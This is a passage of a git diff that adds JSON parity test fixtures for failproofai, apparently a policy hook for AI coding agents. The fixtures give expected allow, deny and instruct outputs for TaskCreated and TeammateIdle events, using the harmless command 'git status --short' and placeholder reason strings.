"event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..81502e58 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..41496d9c --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6d562343 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d0c4a1cf --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..55a295a3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..82d9f522 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..cd74e1ee --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..cad76084 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..61cf9fe0 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..674c4987 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9179e8d5 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..59a0852e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..96ef4347 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..101a0971 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3aa900ff --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..182a3e31 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..64c8178e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..eae6918e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..b36c8525 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": 